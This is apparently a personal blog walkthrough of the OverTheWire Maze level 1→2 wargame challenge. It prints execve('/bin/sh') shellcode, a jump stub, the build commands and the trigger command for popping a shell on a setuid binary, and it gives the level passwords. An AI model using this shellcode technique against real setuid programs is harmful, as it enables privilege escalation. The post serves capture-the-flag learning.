Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Maze Level 1 → 2 tutorial!!

Login

Use the password from Level 1:

ssh maze1@maze.labs.overthewire.org -p 2225
# password: fooghihahr

Binary to exploit:

/maze/maze1

Task

/maze/maze1 has an 8-byte buffer and copies our argv into it, then executes the buffer as code:

char buf[8];
strncpy(buf, argv[1], 8);
/* … later … */
((void(*)(void))buf)();   // execute whatever we put in buf

Eight bytes isn’t enough for a full /bin/sh shellcode. So we’ll put the real shellcode in an environment variable, and make a 7-byte stub in the argv buffer that jumps into that environment variable.


A little bit of Theory

  • Environment variables live at stable, high memory addresses in this wargame.
  • The binary’s stack is executable, so a tiny stub can jmp to our ENV.
  • Plan:

    1. Put a NOP sled + execve(“/bin/sh”) shellcode in SC.
    2. Find/assume the address of SC.
    3. Pass a 7-byte stub in argv: mov eax, <addr>; jmp eax.

Solution

1) Load real shellcode into an env var

export SC=$(python -c 'print("\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80")')
  • \x90*100 = NOP sled.
  • Payload = classic 32-bit execve("/bin/sh") followed by clean exit.

Note: On OTW, the SC address was at 0xffffdf0c during testing. If it differs on your run, use gdb on a tiny helper to print getenv("SC").

2) Build a 7-byte jump stub

We assemble a tiny program that just jumps to 0xffffdf0c:

; pwn.asm
section .text
global _start
_start:
    mov eax, 0xffffdf0c
    jmp eax

Assemble & link (32-bit):

nasm -f elf pwn.asm
ld -m elf_i386 -s -o pwn pwn.o

Extract the machine code (or use the bytes below directly):

\xb8\x0c\xdf\xff\xff\xff\xe0

(That’s mov eax,0xffffdf0cb8 0c df ff ff and jmp eaxff e0.)

3) Trigger the exploit

/maze/maze1 $(python -c 'print("\xb8\x0c\xdf\xff\xff\xff\xe0")')

If the address is right, you get a shell as maze1; read the next password:

cat /etc/maze_pass/maze2
# beinguthok   (at the time of writing)

Troubleshooting quick tips

  • No shell / program just exits → ENV address mismatch. Use gdb and:

    (gdb) p (char*)getenv("SC")
    $1 = 0xffffdf0c
    

    Re-encode the stub with the printed address (little-endian).

  • -m32 not found → try without it; on OTW hosts 32-bit is available.
  • ENV stripped? → setuid doesn’t strip arbitrary names; avoid LD_* vars.

Congrats 🎉 You just chained a jump stub with ENV shellcode to pop a shell and grab the maze2 password. Onward to the next level!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with